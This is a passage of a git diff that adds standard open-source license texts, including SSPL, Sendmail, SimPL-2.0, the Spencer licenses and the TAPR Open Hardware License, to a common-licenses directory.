+ with copies of the covered work conveyed by you (or copies made from
+ those copies), or (b) primarily for and in connection with specific
+ products or compilations that contain the covered work, unless you
+ entered into that arrangement, or that patent license was granted, prior
+ to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting any
+ implied license or other defenses to infringement that may otherwise be
+ available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+ otherwise) that contradict the conditions of this License, they do not
+ excuse you from the conditions of this License. If you cannot use,
+ propagate or convey a covered work so as to satisfy simultaneously your
+ obligations under this License and any other pertinent obligations, then
+ as a consequence you may not use, propagate or convey it at all. For
+ example, if you agree to terms that obligate you to collect a royalty for
+ further conveying from those to whom you convey the Program, the only way
+ you could satisfy both those terms and this License would be to refrain
+ entirely from conveying the Program.
+
+ 13. Offering the Program as a Service.
+
+ If you make the functionality of the Program or a modified version
+ available to third parties as a service, you must make the Service Source
+ Code available via network download to everyone at no charge, under the
+ terms of this License. Making the functionality of the Program or
+ modified version available to third parties as a service includes,
+ without limitation, enabling third parties to interact with the
+ functionality of the Program or modified version remotely through a
+ computer network, offering a service the value of which entirely or
+ primarily derives from the value of the Program or modified version, or
+ offering a service that accomplishes for users the primary purpose of the
+ Program or modified version.
+
+ “Service Source Code” means the Corresponding Source for the Program or
+ the modified version, and the Corresponding Source for all programs that
+ you use to make the Program or modified version available as a service,
+ including, without limitation, management software, user interfaces,
+ application program interfaces, automation software, monitoring software,
+ backup software, storage software and hosting software, all such that a
+ user could run an instance of the service using the Service Source Code
+ you make available.
+
+ 14. Revised Versions of this License.
+
+ MongoDB, Inc. may publish revised and/or new versions of the Server Side
+ Public License from time to time. Such new versions will be similar in
+ spirit to the present version, but may differ in detail to address new
+ problems or concerns.
+
+ Each version is given a distinguishing version number. If the Program
+ specifies that a certain numbered version of the Server Side Public
+ License “or any later version” applies to it, you have the option of
+ following the terms and conditions either of that numbered version or of
+ any later version published by MongoDB, Inc. If the Program does not
+ specify a version number of the Server Side Public License, you may
+ choose any version ever published by MongoDB, Inc.
+
+ If the Program specifies that a proxy can decide which future versions of
+ the Server Side Public License can be used, that proxy's public statement
+ of acceptance of a version permanently authorizes you to choose that
+ version for the Program.
+
+ Later license versions may give you additional or different permissions.
+ However, no additional obligations are imposed on any author or copyright holder
+ as a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+ APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS
+ AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY
+ OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+ IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+ WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+ THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING
+ ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF
+ THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO
+ LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU
+ OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+ PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+ POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided above
+ cannot be given local legal effect according to their terms, reviewing
+ courts shall apply local law that most closely approximates an absolute
+ waiver of all civil liability in connection with the Program, unless a
+ warranty or assumption of liability accompanies a copy of the Program in
+ return for a fee.
+
+ END OF TERMS AND CONDITIONS
diff --git a/meta/files/common-licenses/SWL b/meta/files/common-licenses/SWL
new file mode 100644
index 0000000000..84c9c418a8
--- /dev/null
+++ b/meta/files/common-licenses/SWL
@@ -0,0 +1,7 @@
+The authors hereby grant permission to use, copy, modify, distribute, and license this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this software may be copyrighted by their authors and need not follow the licensing terms described here, provided that the new terms are clearly indicated on the first page of each file where they apply.
+
+IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+
+GOVERNMENT USE: If you are acquiring this software on behalf of the U.S. government, the Government shall have only "Restricted Rights" in the software and related documentation as defined in the Federal Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you are acquiring the software on behalf of the Department of Defense, the software shall be classified as "Commercial Computer Software" and the Government shall have only "Restricted Rights" as defined in Clause 252.227-7013 (c) (1) of DFARs. Notwithstanding the foregoing, the authors grant the U.S. Government and others acting in its behalf permission to use and distribute the software in accordance with the terms specified in this license.
+
+BY INSTALLING THIS SOFTWARE, YOU ACKNOWLEDGE THAT YOU HAVE READ THIS AGREEMENT, THAT YOU UNDERSTAND IT, AND THAT YOU AGREE TO BE BOUND BY ITS TERMS AND CONDITIONS.
diff --git a/meta/files/common-licenses/Saxpath b/meta/files/common-licenses/Saxpath
new file mode 100644
index 0000000000..f985c29537
--- /dev/null
+++ b/meta/files/common-licenses/Saxpath
@@ -0,0 +1,19 @@
+Copyright (C) 2000-2002 werken digital.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions, and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the disclaimer that follows these conditions in the documentation and/or other materials provided with the distribution.
+
+ 3. The name "SAXPath" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please contact license@saxpath.org.
+
+ 4. Products derived from this software may not be called "SAXPath", nor may "SAXPath" appear in their name, without prior written permission from the SAXPath Project Management (pm@saxpath.org).
+
+In addition, we request (but do not require) that you include in the end-user documentation provided with the redistribution and/or in the software itself an acknowledgement equivalent to the following:
+ "This product includes software developed by the SAXPath Project (http://www.saxpath.org/)."
+
+Alternatively, the acknowledgment may be graphical using the logos available at http://www.saxpath.org/
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE SAXPath AUTHORS OR THE PROJECT CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Sendmail b/meta/files/common-licenses/Sendmail
new file mode 100644
index 0000000000..86eecd39c3
--- /dev/null
+++ b/meta/files/common-licenses/Sendmail
@@ -0,0 +1,36 @@
+SENDMAIL LICENSE
+
+The following license terms and conditions apply, unless a redistribution agreement or other license is obtained from Sendmail, Inc., 6475 Christie Ave, Third Floor, Emeryville, CA 94608, USA, or by electronic mail at license@sendmail.com.
+
+License Terms:
+
+Use, Modification and Redistribution (including distribution of any modified or derived work) in source and binary forms is permitted only if each of the following conditions is met:
+
+1. Redistributions qualify as "freeware" or "Open Source Software" under one of the following terms:
+
+ (a) Redistributions are made at no charge beyond the reasonable cost of materials and delivery.
+
+ (b) Redistributions are accompanied by a copy of the Source Code or by an irrevocable offer to provide a copy of the Source Code for up to three years at the cost of materials and delivery. Such redistributions must allow further use, modification, and redistribution of the Source Code under substantially the same terms as this license. For the purposes of redistribution "Source Code" means the complete compilable and linkable source code of sendmail including all modifications.
+
+2. Redistributions of Source Code must retain the copyright notices as they appear in each Source Code file, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below.
+
+3. Redistributions in binary form must reproduce the Copyright Notice, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below, in the documentation and/or other materials provided with the distribution. For the purposes of binary distribution the "Copyright Notice" refers to the following language:
+"Copyright (c) 1998-2010 Sendmail, Inc. All rights reserved."
+
+4. Neither the name of Sendmail, Inc. nor the University of California nor names of their contributors may be used to endorse or promote products derived from this software without specific prior written permission. The name "sendmail" is a trademark of Sendmail, Inc.
+
+5. All redistributions must comply with the conditions imposed by the University of California on certain embedded code, which copyright Notice and conditions for redistribution are as follows:
+
+ (a) Copyright (c) 1988, 1993 The Regents of the University of California. All rights reserved.
+
+ (b) Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ (i) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ (ii) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ (iii) Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+6. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY SENDMAIL, INC. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SENDMAIL, INC., THE REGENTS OF THE UNIVERSITY OF CALIFORNIA OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+$Revision: 8.16 $, Last updated $Date: 2010/10/25 23:11:19 $, Document 139848.1
diff --git a/meta/files/common-licenses/Sendmail-8.23 b/meta/files/common-licenses/Sendmail-8.23
new file mode 100644
index 0000000000..e076ca3d7d
--- /dev/null
+++ b/meta/files/common-licenses/Sendmail-8.23
@@ -0,0 +1,36 @@
+SENDMAIL LICENSE
+
+The following license terms and conditions apply, unless a redistribution agreement or other license is obtained from Proofpoint, Inc., 892 Ross Street, Sunnyvale, CA, 94089, USA, or by electronic mail at sendmail-license@proofpoint.com.
+
+License Terms:
+
+Use, Modification and Redistribution (including distribution of any modified or derived work) in source and binary forms is permitted only if each of the following conditions is met:
+
+1. Redistributions qualify as "freeware" or "Open Source Software" under one of the following terms:
+
+ (a) Redistributions are made at no charge beyond the reasonable cost of materials and delivery.
+
+ (b) Redistributions are accompanied by a copy of the Source Code or by an irrevocable offer to provide a copy of the Source Code for up to three years at the cost of materials and delivery. Such redistributions must allow further use, modification, and redistribution of the Source Code under substantially the same terms as this license. For the purposes of redistribution "Source Code" means the complete compilable and linkable source code of sendmail and associated libraries and utilities in the sendmail distribution including all modifications.
+
+2. Redistributions of Source Code must retain the copyright notices as they appear in each Source Code file, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below.
+
+3. Redistributions in binary form must reproduce the Copyright Notice, these license terms, and the disclaimer/limitation of liability set forth as paragraph 6 below, in the documentation and/or other materials provided with the distribution. For the purposes of binary distribution the "Copyright Notice" refers to the following language:
+"Copyright (c) 1998-2014 Proofpoint, Inc. All rights reserved."
+
+4. Neither the name of Proofpoint, Inc. nor the University of California nor names of their contributors may be used to endorse or promote products derived from this software without specific prior written permission. The name "sendmail" is a trademark of Proofpoint, Inc.
+
+5. All redistributions must comply with the conditions imposed by the University of California on certain embedded code, which copyright Notice and conditions for redistribution are as follows:
+
+ (a) Copyright (c) 1988, 1993 The Regents of the University of California. All rights reserved.
+
+ (b) Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ (i) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ (ii) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ (iii) Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+6. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY SENDMAIL, INC. AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SENDMAIL, INC., THE REGENTS OF THE UNIVERSITY OF CALIFORNIA OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+$Revision: 8.23 $, Last updated $Date: 2014-01-26 20:10:01 $, Document 139848.1
diff --git a/meta/files/common-licenses/SimPL-2.0 b/meta/files/common-licenses/SimPL-2.0
new file mode 100644
index 0000000000..0fde0fa080
--- /dev/null
+++ b/meta/files/common-licenses/SimPL-2.0
@@ -0,0 +1,37 @@
+Simple Public License (SimPL)
+
+Preamble
+
+This Simple Public License 2.0 (SimPL 2.0 for short) is a plain language implementation of GPL 2.0. The words are different, but the goal is the same - to guarantee for all users the freedom to share and change software. If anyone wonders about the meaning of the SimPL, they should interpret it as consistent with GPL 2.0.
+
+Simple Public License (SimPL) 2.0
+
+The SimPL applies to the software's source and object code and comes with any rights that I have in it (other than trademarks). You agree to the SimPL by copying, distributing, or making a derivative work of the software.
+
+You get the royalty free right to:
+
+- Use the software for any purpose;
+- Make derivative works of it (this is called a "Derived Work");
+- Copy and distribute it and any Derived Work.
+
+If you distribute the software or a Derived Work, you must give back to the community by:
+
+- Prominently noting the date of any changes you make;
+- Leaving other people's copyright notices, warranty disclaimers, and license terms in place;
+- Providing the source code, build scripts, installation scripts, and interface definitions in a form that is easy to get and best to modify;
+- Licensing it to everyone under SimPL, or substantially similar terms (such as GPL 2.0), without adding further restrictions to the rights provided;
+- Conspicuously announcing that it is available under that license.
+
+There are some things that you must shoulder:
+
+- You get NO WARRANTIES. None of any kind;
+- If the software damages you in any way, you may only recover direct damages up to the amount you paid for it (that is zero if you did not pay anything). You may not recover any other damages, including those called "consequential damages." (The state or country where you live may not allow you to limit your liability in this way, so this may not apply to you);
+
+The SimPL continues perpetually, except that your license rights end automatically if:
+
+- You do not abide by the "give back to the community" terms (your licensees get to keep their rights if they abide);
+- Anyone prevents you from distributing the software under the terms of the SimPL.
+
+License for the License
+
+You may do anything that you want with the SimPL text; it's a license form to use in any way that you find helpful. To avoid confusion, however, if you change the terms in any way then you may not call your license the Simple Public License or the SimPL (but feel free to acknowledge that your license is "based on the Simple Public License").
diff --git a/meta/files/common-licenses/Spencer-86 b/meta/files/common-licenses/Spencer-86
new file mode 100644
index 0000000000..8577e881c1
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-86
@@ -0,0 +1,11 @@
+Copyright (c) 1986 by University of Toronto. Written by Henry Spencer. Not derived from licensed software.
+
+Permission is granted to anyone to use this software for any purpose on any computer system, and to redistribute it freely, subject to the following restrictions:
+
+1. The author is not responsible for the consequences of use of this software, no matter how awful, even if they arise from defects in it.
+
+2. The origin of this software must not be misrepresented, either by explicit claim or by omission.
+
+3. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+Beware that some of this code is subtly aware of the way operator precedence is structured in regular expressions. Serious changes in regular-expression syntax might require a total rethink.
diff --git a/meta/files/common-licenses/Spencer-94 b/meta/files/common-licenses/Spencer-94
new file mode 100644
index 0000000000..75ba7f7d2e
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-94
@@ -0,0 +1,12 @@
+Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved.
+This software is not subject to any license of the American Telephone and Telegraph Company or of the Regents of the University of California.
+
+Permission is granted to anyone to use this software for any purpose on any computer system, and to alter it and redistribute it, subject to the following restrictions:
+
+1. The author is not responsible for the consequences of use of this software, no matter how awful, even if they arise from flaws in it.
+
+2. The origin of this software must not be misrepresented, either by explicit claim or by omission. Since few users ever read sources, credits must appear in the documentation.
+
+3. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software. Since few users ever read sources, credits must appear in the documentation.
+
+4. This notice may not be removed or altered.
diff --git a/meta/files/common-licenses/Spencer-99 b/meta/files/common-licenses/Spencer-99
new file mode 100644
index 0000000000..ca7099033f
--- /dev/null
+++ b/meta/files/common-licenses/Spencer-99
@@ -0,0 +1,9 @@
+Copyright (c) 1998, 1999 Henry Spencer. All rights reserved.
+
+Development of this software was funded, in part, by Cray Research Inc., UUNET Communications Services Inc., Sun Microsystems Inc., and Scriptics Corporation, none of whom are responsible for the results. The author thanks all of them.
+
+Redistribution and use in source and binary forms - with or without modification - are permitted for any purpose, provided that redistributions in source form retain this entire copyright notice and indicate the origin and nature of any modifications.
+
+I'd appreciate being given credit for this package in the documentation of software which uses it, but that is not a requirement.
+
+THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL HENRY SPENCER BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TAPR-OHL-1.0 b/meta/files/common-licenses/TAPR-OHL-1.0
new file mode 100644
index 0000000000..e20c23663b
--- /dev/null
+++ b/meta/files/common-licenses/TAPR-OHL-1.0
@@ -0,0 +1,266 @@
+The TAPR Open Hardware License
+Version 1.0 (May 25, 2007)
+Copyright 2007 TAPR - http://www.tapr.org/OHL
+
+PREAMBLE
+
+Open Hardware is a thing - a physical artifact, either electrical or
+mechanical - whose design information is available to, and usable by,
+the public in a way that allows anyone to make, modify, distribute, and
+use that thing. In this preface, design information is called
+"documentation" and things created from it are called "products."
+
+The TAPR Open Hardware License ("OHL") agreement provides a legal
+framework for Open Hardware projects. It may be used for any kind of
+product, be it a hammer or a computer motherboard, and is TAPR's
+contribution to the community; anyone may use the OHL for their Open
+Hardware project.
+
+Like the GNU General Public License, the OHL is designed to guarantee
+your freedom to share and to create. It forbids anyone who receives
+rights under the OHL to deny any other licensee those same rights to
+copy, modify, and distribute documentation, and to make, use and
+distribute products based on that documentation.
+
+Unlike the GPL, the OHL is not primarily a copyright license. While
+copyright protects documentation from unauthorized copying, modification,
+and distribution, it has little to do with your right to make, distribute,
+or use a product based on that documentation. For better or worse, patents
+play a significant role in those activities. Although it does not prohibit
+anyone from patenting inventions embodied in an Open Hardware design, and
+of course cannot prevent a third party from enforcing their patent rights,
+those who benefit from an OHL design may not bring lawsuits claiming that
+design infringes their patents or other intellectual property.
+
+The OHL addresses unique issues involved in the creation of tangible,
+physical things, but does not cover software, firmware, or code loaded
+into programmable devices. A copyright-oriented license such as the GPL
+better suits these creations.
+
+How can you use the OHL, or a design based upon it? While the terms and
+conditions below take precedence over this preamble, here is a summary:
+
+* You may modify the documentation and make products based upon it.
+
+* You may use products for any legal purpose without limitation.
+
+* You may distribute unmodified documentation, but you must include the
+complete package as you received it.
+
+* You may distribute products you make to third parties, if you either
+include the documentation on which the product is based, or make it
+available without charge for at least three years to anyone who requests
+it.
+
+* You may distribute modified documentation or products based on it, if
+you:
+ * License your modifications under the OHL.
+ * Include those modifications, following the requirements stated
+ below.
+ * Attempt to send the modified documentation by email to any of the
+ developers who have provided their email address. This is a good
+ faith obligation - if the email fails, you need do nothing more
+ and may go on with your distribution.
+
+* If you create a design that you want to license under the OHL, you
+should:
+ * Include this document in a file named LICENSE (with the appropriate
+ extension) that is included in the documentation package.
+ * If the file format allows, include a notice like "Licensed under
+ the TAPR Open Hardware License (www.tapr.org/OHL)" in each
+ documentation file. While not required, you should also include
+ this notice on printed circuit board artwork and the product
+ itself; if space is limited the notice can be shortened or
+ abbreviated.
+ * Include a copyright notice in each file and on printed circuit
+ board artwork.
+ * If you wish to be notified of modifications that others may make,
+ include your email address in a file named "CONTRIB.TXT" or
+ something similar.
+
+* Any time the OHL requires you to make documentation available to
+others, you must include all the materials you received from the
+upstream licensors. In addition, if you have modified the
+documentation:
+ * You must identify the modifications in a text file (preferably
+ named "CHANGES.TXT") that you include with the documentation.
+ That file must also include a statement like "These modifications
+ are licensed under the TAPR Open Hardware License."
+ * You must include any new files you created, including any
+ manufacturing files (such as Gerber files) you create in the
+ course of making products.
+ * You must include both "before" and "after" versions of all files
+ you modified.
+ * You may include files in proprietary formats, but you must also
+ include open format versions (such as Gerber, ASCII, Postscript,
+ or PDF) if your tools can create them.
+
+TERMS AND CONDITIONS
+
+1. Introduction
+1.1 This Agreement governs how you may use, copy, modify, and
+distribute Documentation, and how you may make, have made, and
+distribute Products based on that Documentation. As used in this
+Agreement, to "distribute" Documentation means to directly or indirectly
+make copies available to a third party, and to "distribute" Products
+means to directly or indirectly give, loan, sell or otherwise transfer
+them to a third party.
+
+1.2 "Documentation" includes:
+ (a) schematic diagrams;
+ (b) circuit or circuit board layouts, including Gerber and other
+ data files used for manufacture;
+ (c) mechanical drawings, including CAD, CAM, and other data files
+ used for manufacture;
+ (d) flow charts and descriptive text; and
+ (e) other explanatory material.
+Documentation may be in any tangible or intangible form of expression,
+including but not limited to computer files in open or proprietary
+formats and representations on paper, film, or other media.
+
+1.3 "Products" include:
+ (a) circuit boards, mechanical assemblies, and other physical parts
+ and components;
+ (b) assembled or partially assembled units (including components
+ and subassemblies); and
+ (c) parts and components combined into kits intended for assembly
+ by others;
+which are based in whole or in part on the Documentation.
+
+1.4 This Agreement applies to any Documentation which contains a
+notice stating it is subject to the TAPR Open Hardware License, and to
+all Products based in whole or in part on that Documentation. If
+Documentation is distributed in an archive (such as a "zip" file) which
+includes this document, all files in that archive are subject to this
+Agreement unless they are specifically excluded. Each person who
+contributes content to the Documentation is referred to in this
+Agreement as a "Licensor."
+
+1.5 By (a) using, copying, modifying, or distributing the
+Documentation, or (b) making or having Products made or distributing
+them, you accept this Agreement, agree to comply with its terms, and
+become a "Licensee." Any activity inconsistent with this Agreement will
+automatically terminate your rights under it (including the immunities
+from suit granted in Section 2), but the rights of others who have
+received Documentation, or have obtained Products, directly or
+indirectly from you will not be affected so long as they fully comply
+with it themselves.
+
+1.6 This Agreement does not apply to software, firmware, or code
+loaded into programmable devices which may be used in conjunction with
+Documentation or Products. Such software is subject to the license
+terms established by its copyright holder(s).
+
+2. Patents
+2.1 Each Licensor grants you, every other Licensee, and every
+possessor or user of Products a perpetual, worldwide, and royalty-free
+immunity from suit under any patent, patent application, or other
+intellectual property right which he or she controls, to the extent
+necessary to make, have made, possess, use, and distribute Products.
+This immunity does not extend to infringement arising from modifications
+subsequently made by others.
+
+2.2 If you make or have Products made, or distribute Documentation
+that you have modified, you grant every Licensor, every other Licensee,
+and every possessor or user of Products a perpetual, worldwide, and
+royalty-free immunity from suit under any patent, patent application, or
+other intellectual property right which you control, to the extent
+necessary to make, have made, possess, use, and distribute Products.
+This immunity does not extend to infringement arising from modifications
+subsequently made by others.
+
+2.3 To avoid doubt, providing Documentation to a third party for the
+sole purpose of having that party make Products on your behalf is not
+considered "distribution,"\" and a third party's act of making Products
+solely on your behalf does not cause that party to grant the immunity
+described in the preceding paragraph.
+
+2.4 These grants of immunity are a material part of this Agreement,
+and form a portion of the consideration given by each party to the
+other. If any court judgment or legal agreement prevents you from
+granting the immunity required by this Section, your rights under this
+Agreement will terminate and you may no longer use, copy, modify or
+distribute the Documentation, or make, have made, or distribute
+Products.
+
+3. Modifications
+You may modify the Documentation, and those modifications will become
+part of the Documentation. They are subject to this Agreement, as are
+Products based in whole or in part on them. If you distribute the
+modified Documentation, or Products based in whole or in part upon it,
+you must email the modified Documentation in a form compliant with
+Section 4 to each Licensor who has provided an email address with the
+Documentation. Attempting to send the email completes your obligations
+under this Section and you need take no further action if any address
+fails.
+
+4. Distributing Documentation
+4.1 You may distribute unmodified copies of the Documentation in its
+entirety in any medium, provided that you retain all copyright and other
+notices (including references to this Agreement) included by each
+Licensor, and include an unaltered copy of this Agreement.
+4.2 You may distribute modified copies of the Documentation if you
+comply with all the requirements of the preceding paragraph and:
+ (a) include a prominent notice in an ASCII or other open format
+ file identifying those elements of the Documentation that you
+ changed, and stating that the modifications are licensed under
+ the terms of this Agreement;
+ (b) include all new documentation files that you create, as well as
+ both the original and modified versions of each file you change
+ (files may be in your development tool's native file format,
+ but if reasonably possible, you must also include open format,
+ such as Gerber, ASCII, Postscript, or PDF, versions);
+ (c) do not change the terms of this Agreement with respect to
+ subsequent licensees; and
+ (d) if you make or have Products made, include in the Documentation
+ all elements reasonably required to permit others to make
+ Products, including Gerber, CAD/CAM and other files used for
+ manufacture.
+
+5. Making Products
+5.1 You may use the Documentation to make or have Products made,
+provided that each Product retains any notices included by the Licensor
+(including, but not limited to, copyright notices on circuit boards).
+5.2 You may distribute Products you make or have made, provided that
+you include with each unit a copy of the Documentation in a form
+consistent with Section 4. Alternatively, you may include either (i) an
+offer valid for at least three years to provide that Documentation, at
+no charge other than the reasonable cost of media and postage, to any
+person who requests it; or (ii) a URL where that Documentation may be
+downloaded, available for at least three years after you last distribute
+the Product.
+
+6. NEW LICENSE VERSIONS
+TAPR may publish updated versions of the OHL which retain the same
+general provisions as the present version, but differ in detail to
+address new problems or concerns, and carry a distinguishing version
+number. If the Documentation specifies a version number which applies
+to it and "any later version", you may choose either that version or any
+later version published by TAPR. If the Documentation does not specify
+a version number, you may choose any version ever published by TAPR.
+TAPR owns the copyright to the OHL, but grants permission to any person
+to copy, distribute, and use it in unmodified form.
+
+7. WARRANTY AND LIABILITY LIMITATIONS
+7.1 THE DOCUMENTATION IS PROVIDED ON AN"AS-IS" BASIS WITHOUT
+WARRANTY OF ANY KIND, TO THE EXTENT PERMITTED BY APPLICABLE LAW. ALL
+WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY
+WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND
+TITLE, ARE HEREBY EXPRESSLY DISCLAIMED.
+7.2 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL ANY LICENSOR
+BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT,
+INCIDENTAL, CONSEQUENTIAL, PUNITIVE, OR EXEMPLARY DAMAGES ARISING OUT OF
+THE USE OF, OR INABILITY TO USE, THE DOCUMENTATION OR PRODUCTS,
